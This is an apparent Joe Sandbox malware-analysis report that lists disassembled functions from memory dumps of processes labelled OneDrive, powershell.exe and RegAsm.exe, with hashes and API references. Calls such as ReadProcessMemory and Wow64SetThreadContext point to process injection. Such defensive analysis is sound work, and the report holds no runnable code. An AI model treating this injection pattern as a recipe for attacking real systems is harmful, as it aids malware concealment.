Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1ec14fedfb52ac7f0c529fe4e4b328a0c54fd76d3dab19d3cd7651ee3d811c89
Instruction ID: 055db892cb93418035543c9a90de13bd596c0d3dec6df8fb94d67685a798e538
Opcode Fuzzy Hash: 1ec14fedfb52ac7f0c529fe4e4b328a0c54fd76d3dab19d3cd7651ee3d811c89
Instruction Fuzzy Hash: F11117B1D006498FDB10CFAAC844BDEBBF8FB88220F148029D558A7310D378A545CFA5

Function 01693C9E Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,00010002,?,?,?,?,?,?,016935AA,?,00000004,?), ref: 01693D11

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 413824aa8af762885ed4754565dbb8d4cfe53d5618d3578d05bbe7cf08ae6b9c
Instruction ID: cee01495d52f8a1d3f00dcaa3d6129ea74af73d625abe1a8b7e9142424cbac3f
Opcode Fuzzy Hash: 413824aa8af762885ed4754565dbb8d4cfe53d5618d3578d05bbe7cf08ae6b9c
Instruction Fuzzy Hash: A621C3B5801259DFDB10CF9AD985ADEFBF8FB48320F10842AE958A7251C374A644CFA5

Function 01693BE6 Relevance: 1.6, APIs: 1, Instructions: 54
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000,?,?,?,?,00000000,?,?,?,0169356C), ref: 01693C53

Memory Dump Source

Source File: 00000007.00000002.1717498322.0000000001690000.00000040.00000800.00020000.00000000.sdmp, Offset: 01690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1690000_OneDrive.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 474dbb0e70fb730074a3d264d324c23dcd6991f33357c7f3ed32282618e20ce8
Instruction ID: 1278040f5b8be5f514058c56665fce1ece0bf4dacde8567e40394ad55db91d91
Opcode Fuzzy Hash: 474dbb0e70fb730074a3d264d324c23dcd6991f33357c7f3ed32282618e20ce8
Instruction Fuzzy Hash: D01112B19006498FDB10CFAAC844BDEBBF8BB88320F14802AD458A7310D338A545CFA1

Function 0142D404 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1705712840.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_142d000_OneDrive.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 436f29916874a83c4c631c9beab38dd37f83d5f6cdcb2a438a9825246168cb70
Instruction ID: 18332a22e3603d5ef3db45e5d8d682a5489d4d57b261ea0dd7389d69ed2dec70
Opcode Fuzzy Hash: 436f29916874a83c4c631c9beab38dd37f83d5f6cdcb2a438a9825246168cb70
Instruction Fuzzy Hash: 40210371904240EFDB05DF98D9C0B67BF65FB98314F60C27AE9094B266C336E496C6A1

Function 0142D3FF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1705712840.000000000142D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0142D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_142d000_OneDrive.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: 77e7cb966648803d285160bc21108629a1b7a6aa3f6545f62c04e697370b5e2b
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 4F11DF72804280DFCB12CF44D9C4B56BF71FB84324F24C2AAD9090B666C33AE45ACBA1

Analysis Process: powershell.exePID: 3320, Parent PID: 6972COMMON

Executed Functions

Function 07461C10 Relevance: 5.6, Strings: 4, Instructions: 612COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07461F4E
4'^q, xrefs: 07461F58
4'^q, xrefs: 074620B0
4'^q, xrefs: 074620BA

Memory Dump Source

Source File: 0000000D.00000002.1798242116.0000000007460000.00000040.00000800.00020000.00000000.sdmp, Offset: 07460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7460000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: ef0d8698a881e456e29f239b8da7024da8880303a9dcf073466bb0f851f98b1f
Instruction ID: 54f81484a706bfd579311c772cea2b716efcb7f8e60ac866821963dc4e6dcdf2
Opcode Fuzzy Hash: ef0d8698a881e456e29f239b8da7024da8880303a9dcf073466bb0f851f98b1f
Instruction Fuzzy Hash: 6D1239F1B442599FCB159B78C8146ABBFA2AF86310F1484ABD601CB352DF71D846C7A3

Function 02FC9E28 Relevance: 1.1, Instructions: 1148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 425fe33833bc469fecb32e72bb37e876ead7249b0a612d077816e3cdb2755b87
Instruction ID: baaca2665618ef1010ad78ae8699c1268d982bbcb5cd94fb3ed78873d3471eab
Opcode Fuzzy Hash: 425fe33833bc469fecb32e72bb37e876ead7249b0a612d077816e3cdb2755b87
Instruction Fuzzy Hash: 5A517835A00208DFCB14DFA9D5849AEBBF5FF89324F1581A9E909A7361C731EC45CBA0

Function 02FC5A20 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c5a3d9721f1b82810589219b79b6a5dc75b1c716a96ff0b8891651e33da4df1
Instruction ID: fc348a4f657b533e4a98f5437746a8541fa6c8addc6a31f3e3588302e2a48975
Opcode Fuzzy Hash: 3c5a3d9721f1b82810589219b79b6a5dc75b1c716a96ff0b8891651e33da4df1
Instruction Fuzzy Hash: D9D1E370A053858FC706CF28C8949AABFB0FF49350B29419AD555EF262C735EC46CBA1

Function 02FC29F0 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1331bbd07fba3c23b6b5b36f68dc484d14a8b031afcfde2aa5733848a031a7dc
Instruction ID: e0c952d02a581ad6b622b7a8a62a08355d42128cae51a35ece81cbb057405a28
Opcode Fuzzy Hash: 1331bbd07fba3c23b6b5b36f68dc484d14a8b031afcfde2aa5733848a031a7dc
Instruction Fuzzy Hash: 24917C74A002468FCB15CF59C594AAEFBB1FF48310B2485A9D915AB365C736FC91CFA0

Function 07461BF3 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1798242116.0000000007460000.00000040.00000800.00020000.00000000.sdmp, Offset: 07460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7460000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 733fbefd6e7ab1ecfb437a9e3d647b9f63a239afe3121cae2c641a9e97c9c1e4
Instruction ID: 4796dd0eb18362f2b379452bb9b618cb15c6964418f4843703ec8b97d774d158
Opcode Fuzzy Hash: 733fbefd6e7ab1ecfb437a9e3d647b9f63a239afe3121cae2c641a9e97c9c1e4
Instruction Fuzzy Hash: FE41EAF0E0424A9FCB158F69C949AAABBB2EF46714F148497C9009F355DB31E845C792

Function 02FC4C20 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0e55e2733a1a1ce6c09a6e13969faa1423efbee7d60f12bdf3ada8e87881430
Instruction ID: 1b2acafe0abfbf088ae7159ad06efe608fe5484e27a43ee2d0df3d3ba62a80cb
Opcode Fuzzy Hash: a0e55e2733a1a1ce6c09a6e13969faa1423efbee7d60f12bdf3ada8e87881430
Instruction Fuzzy Hash: 4441B174A0A3968FC702CF5CC8A459ABFB0FF5625071940DAD585DF363C625EC46CBA2

Function 02FC4BD0 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 838e1d912d022cc927aae5d92589f672e2435362377afb9971cb74fe18211465
Instruction ID: 22f2752d79ba38575e23bd62efe58a298e3ae5cf5fa0f4c96a21f306f6f59833
Opcode Fuzzy Hash: 838e1d912d022cc927aae5d92589f672e2435362377afb9971cb74fe18211465
Instruction Fuzzy Hash: 0121F974A0424ACFCB05DFA8D5909AABBF1FF49310B1585A9D909EB362C735EC41CBA1

Function 02FC4C18 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51deabcc6d709c91319863b2adfed17765e3e1f4bd312e560e62f42d2c8447eb
Instruction ID: b584f047ca4eeeef6575b76682ac6b0c365a0ddc1c6e1dea4f0b9d17f65c3ef5
Opcode Fuzzy Hash: 51deabcc6d709c91319863b2adfed17765e3e1f4bd312e560e62f42d2c8447eb
Instruction Fuzzy Hash: 8711F974E002198FCB04CF98D5809AEFBB1FF89350B2585A9D909AB361C331ED45CFA0

Function 02FC4BF0 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c92e4a8b8cfe398472fc0ba59adcf7511058365cd8cab81fab85a3748bd763d
Instruction ID: de6dbd0805bd1b49b56108d3506f612ecbb714ceff26ca35c78a8337c043aee1
Opcode Fuzzy Hash: 9c92e4a8b8cfe398472fc0ba59adcf7511058365cd8cab81fab85a3748bd763d
Instruction Fuzzy Hash: 7B11A574B053949FC705CB68C8505A9BF71FF8A210B1981EAC545DB376C635AC06CB71

Function 02FC2C5C Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1763119692.0000000002FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2fc0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 63ba74a205125f3cbbc1938f46a0d06dc54656ca1db54dc8902d1a2661cbbd55
Instruction ID: e5c290755c8942553590b19458dee8e111d1e72875e55a1ce29e9f165272eef0
Opcode Fuzzy Hash: 63ba74a205125f3cbbc1938f46a0d06dc54656ca1db54dc8902d1a2661cbbd55
Instruction Fuzzy Hash: 0A01F9305092945FCB03CF5CDDA09E9BF71EF4A224B1441D7D5909B2A2C326DC45C761

Function 02D2D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1759067333.0000000002D2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0594026292d5a06367a5ba079c26dee297dc5f3b9294b7201b363e9beff2fa4d
Instruction ID: cebd6bed90416ed50ba1d3b90f882621bfdec1ff0cca8888bd6977e7992d5980
Opcode Fuzzy Hash: 0594026292d5a06367a5ba079c26dee297dc5f3b9294b7201b363e9beff2fa4d
Instruction Fuzzy Hash: 76012B310083109AE7104A25CF84767BFD8DF55368F28C42AED484B396C379DC49C6B1

Function 02D2D005 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1759067333.0000000002D2D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D2D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2d2d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7fbf9164e7b866a19566e3858969ca2714113cba899c02271167f98b8ac11bbe
Instruction ID: f094e63cc3260be10f3fbe1b44d81e30c43d90af63c932f1cda502ac31cb3aee
Opcode Fuzzy Hash: 7fbf9164e7b866a19566e3858969ca2714113cba899c02271167f98b8ac11bbe
Instruction Fuzzy Hash: 6F01526100E3D09ED7128B258994752BFB4DF57228F1DC0DBD9888F2A3C2695C49C772

Non-executed Functions

Function 07461270 Relevance: 9.2, Strings: 7, Instructions: 497COMMON

Download Yara Rule

Strings

$^q, xrefs: 07461282
tP^q, xrefs: 074612F9
4'^q, xrefs: 074614D7
tP^q, xrefs: 074612ED
4'^q, xrefs: 074614E1
$^q, xrefs: 074612A8
$^q, xrefs: 074612B4

Memory Dump Source

Source File: 0000000D.00000002.1798242116.0000000007460000.00000040.00000800.00020000.00000000.sdmp, Offset: 07460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7460000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: 09ea4982855c94d97f1e8ed27b864de9ce0159e1b86c2026762d41dd8f7af346
Instruction ID: dcdbd0269e1abd7bfff39c2dce0615537016dbaf136c65b68ff0767653b2d7ea
Opcode Fuzzy Hash: 09ea4982855c94d97f1e8ed27b864de9ce0159e1b86c2026762d41dd8f7af346
Instruction Fuzzy Hash: 9BF124B5B442198FCB148B68D4186ABFBE2AF85321F18847BD506CB351EE35DC85C7A2

Function 074604E0 Relevance: 9.1, Strings: 7, Instructions: 318COMMON

Download Yara Rule

Strings

$^q, xrefs: 074606E8
$^q, xrefs: 074606F4
tP^q, xrefs: 07460739
tP^q, xrefs: 0746072D
4'^q, xrefs: 074605EF
4'^q, xrefs: 074605E3
$^q, xrefs: 074606C2

Memory Dump Source

Source File: 0000000D.00000002.1798242116.0000000007460000.00000040.00000800.00020000.00000000.sdmp, Offset: 07460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7460000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q
API String ID: 0-1608119003
Opcode ID: 51dfc812bcaad37bb4182106da593baeb8a598c72f896654feba4f32f4bf951d
Instruction ID: c29a36cd87ffb0e0361d6823a4a5b5b48c57c2c5feb83f85decf00137a014449
Opcode Fuzzy Hash: 51dfc812bcaad37bb4182106da593baeb8a598c72f896654feba4f32f4bf951d
Instruction Fuzzy Hash: EAA168B1B043568FC7258A699418ABBBBE5EFC6720F24847BD445CB3A1DE31CC45C7A2

Function 07463228 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07463256
$^q, xrefs: 0746323A
$^q, xrefs: 07463284
$^q, xrefs: 07463290

Memory Dump Source

Source File: 0000000D.00000002.1798242116.0000000007460000.00000040.00000800.00020000.00000000.sdmp, Offset: 07460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7460000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 18efd2fc38783de2a024a24e8fed14e0a50d526ea476f49f84ed94d3e8f0f31c
Instruction ID: 74e42779978436541fed6a7bcb949b663a168ef74cf12fd586fe17e6b8b8f0ba
Opcode Fuzzy Hash: 18efd2fc38783de2a024a24e8fed14e0a50d526ea476f49f84ed94d3e8f0f31c
Instruction Fuzzy Hash: B92149B174434A5BDB285D6A9808BA7ABEB9BC1B14F24842BE505CF385CE36C8458362

Function 0746030B Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

$^q, xrefs: 0746035E
$^q, xrefs: 07460352
4'^q, xrefs: 0746037F
4'^q, xrefs: 07460373

Memory Dump Source

Source File: 0000000D.00000002.1798242116.0000000007460000.00000040.00000800.00020000.00000000.sdmp, Offset: 07460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_7460000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: d50607a1685b473c774e70f201467953c17601482945a2e640d75f5c4881483f
Instruction ID: a445cee533fee1822a9ddd09f92d411ddf1344f96c6622b0a0205178d73f2e81
Opcode Fuzzy Hash: d50607a1685b473c774e70f201467953c17601482945a2e640d75f5c4881483f
Instruction Fuzzy Hash: 5301F261B093D54FC72B122818285966FB69FD3A1172A44EBC041CF3A7CD184CCE83B7

Analysis Process: RegAsm.exePID: 7220, Parent PID: 6972COMMON

Execution Graph

Execution Coverage:	8.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	90
Total number of Limit Nodes:	9

Executed Functions

Function 012E6530 Relevance: 6.1, APIs: 4, Instructions: 138
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 012E65BE
GetCurrentThread.KERNEL32 ref: 012E65FB
GetCurrentProcess.KERNEL32 ref: 012E6638
GetCurrentThreadId.KERNEL32 ref: 012E6691

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1e828c28a66a174b639642b432d8d247c4b5c102abda6436a2f82bd066f4c337
Instruction ID: d9fa787e566a70d41d101ded4f62a62c75d04bf7fdc216d26f4066d5d8ba4c48
Opcode Fuzzy Hash: 1e828c28a66a174b639642b432d8d247c4b5c102abda6436a2f82bd066f4c337
Instruction Fuzzy Hash: 515166B0D10209CFDB18CFA9D548B9EBFF5BB48314F248459E119A73A0DB749984CF65

Function 012E6540 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 012E65BE
GetCurrentThread.KERNEL32 ref: 012E65FB
GetCurrentProcess.KERNEL32 ref: 012E6638
GetCurrentThreadId.KERNEL32 ref: 012E6691

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 67ff2debd9cc8ae0438d5b8af116892d2dee969d12a6d52b1b8abb7b870b0e80
Instruction ID: b20038f4fa7fd5042bab09c32aa1ae7959b125420815997ed472859e86a50011
Opcode Fuzzy Hash: 67ff2debd9cc8ae0438d5b8af116892d2dee969d12a6d52b1b8abb7b870b0e80
Instruction Fuzzy Hash: 2D5165B0910209CFDB18CFA9D548B9EBFF1BF49304F248419E119A73A0DB749984CF65

Function 012EC003 Relevance: 1.7, APIs: 1, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 012EC256

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 17ec4bcd458e9611c7858ed7d991a34a51fe33598f48ee2028ac8775554f6cfc
Instruction ID: 8d67d2af680bb8bbf8fd2345973fd76b5f0d752e01510b71f51bb58c38b3c714
Opcode Fuzzy Hash: 17ec4bcd458e9611c7858ed7d991a34a51fe33598f48ee2028ac8775554f6cfc
Instruction Fuzzy Hash: 767127B0A10B068FD724DF69C44475ABBF1BF88304F40892ED58ADBB50D775E959CB90

Function 012E6414 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 012E7421

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3934f73a463d2e1a1428999b239c0f4401bacc43ffb7a7292856664007fa4113
Instruction ID: 0a355a568ca480825cfa99c44ac736c6b44e4a33b6eaffb0808d489308cd8bd8
Opcode Fuzzy Hash: 3934f73a463d2e1a1428999b239c0f4401bacc43ffb7a7292856664007fa4113
Instruction Fuzzy Hash: 0E41C1B0C00619CBDB24CFA9C848BDEBBF5BF49314F64806AD508AB255DB756985CF90

Function 012E7364 Relevance: 1.6, APIs: 1, Instructions: 95
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 012E7421

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 63f7b065b247dd647b30a9bc82b270e9b53260a563b7637113b7df6b10f6ae95
Instruction ID: 9e0687f7aec05683a19d17209e5dfd9f1c8e91c7fc6f0418d74c3c48a6f74c10
Opcode Fuzzy Hash: 63f7b065b247dd647b30a9bc82b270e9b53260a563b7637113b7df6b10f6ae95
Instruction Fuzzy Hash: E041E2B1C00619CEDB24CFA9C944BDDBBF5BF49304F64809AD408BB255DB75698ACF90

Function 012E6780 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012E680F

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: c7141c63b14a55edba1d339c676f309e38f28ed82c7e74e8def67546b8d53700
Instruction ID: d04902fc1c99440b262d16d54344751a496111e7f6af44e6bb1713ef9b079b5b
Opcode Fuzzy Hash: c7141c63b14a55edba1d339c676f309e38f28ed82c7e74e8def67546b8d53700
Instruction Fuzzy Hash: 082105B5D002589FDB10CF99D984AEEBFF8EB59320F14841AE954A3310D374A944CFA5

Function 012E6788 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 012E680F

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: befe6bfeda8103b61d39dbef3accc7696b24793a1f9e00d3d6d4d29949334843
Instruction ID: 474884fc10ca1cf2cbd8c33814daf7c3d74f0111f98b8d66698e4cc74a9c920f
Opcode Fuzzy Hash: befe6bfeda8103b61d39dbef3accc7696b24793a1f9e00d3d6d4d29949334843
Instruction Fuzzy Hash: 3021C4B59002599FDB10CF9AD984ADEBFF8EB48320F14841AE958A7310D374A944CFA5

Function 012EC294 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,012EC6D1,00000800,00000000,00000000), ref: 012EC8E2

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 26f11727db25540aa587501faca59d5e7433869ddaa72dbc748a983205635a65
Instruction ID: 3c6c1cf76bce3f2b8070ff8e09964c012f13f1839d598cf1961009a155f2fba1
Opcode Fuzzy Hash: 26f11727db25540aa587501faca59d5e7433869ddaa72dbc748a983205635a65
Instruction Fuzzy Hash: 261126B6D003498FDB10CF9AD548ADEFBF4EB48320F10842AD519B7210C774A544CFA5

Function 012EC870 Relevance: 1.6, APIs: 1, Instructions: 53
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,012EC6D1,00000800,00000000,00000000), ref: 012EC8E2

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 842564f268af3c386d30163b8d1a04e329f0882aa8d0867fa21e548362a83810
Instruction ID: 7bb6537f325d6d849c337ae73232c395216791924195542f0aa10d4318b322d7
Opcode Fuzzy Hash: 842564f268af3c386d30163b8d1a04e329f0882aa8d0867fa21e548362a83810
Instruction Fuzzy Hash: DF11F3B6D003498FDB10CF9AC948ADEFBF4EB48320F14842AD619B7210C379A545CFA5

Function 012EC1F0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 012EC256

Memory Dump Source

Source File: 00000011.00000002.2921136401.00000000012E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 012E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_12e0000_RegAsm.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: bb58f0f2b3c9b351e729a0a7ecc3b848fffca1e1cf3994723d64122d662ae8db
Instruction ID: aa00cb05cfd56d056bfee6691303e816580f78e87dddc5a79d78b6466f8e1768
Opcode Fuzzy Hash: bb58f0f2b3c9b351e729a0a7ecc3b848fffca1e1cf3994723d64122d662ae8db
Instruction Fuzzy Hash: 081110B6C003498FDB10DF9AC448ADEFBF4AB88324F10842AD529B7210C378A545CFA1

Function 0124D4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2919198341.000000000124D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0124D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_124d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bdf82d709ee82633fe194f092c6a48691efb902216816c5ab5e726d8554f2a0
Instruction ID: a8d562fe613af3db2fda2ed03ec6258e98012c60a642ff965d652d7b2d77eb5f
Opcode Fuzzy Hash: 4bdf82d709ee82633fe194f092c6a48691efb902216816c5ab5e726d8554f2a0
Instruction Fuzzy Hash: C5212571510208DFDB09DF98E9C0B26BFA5FBA8318F24856DE9094B216C736D456CAE2

Function 0125D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2919572096.000000000125D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0125D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_125d000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
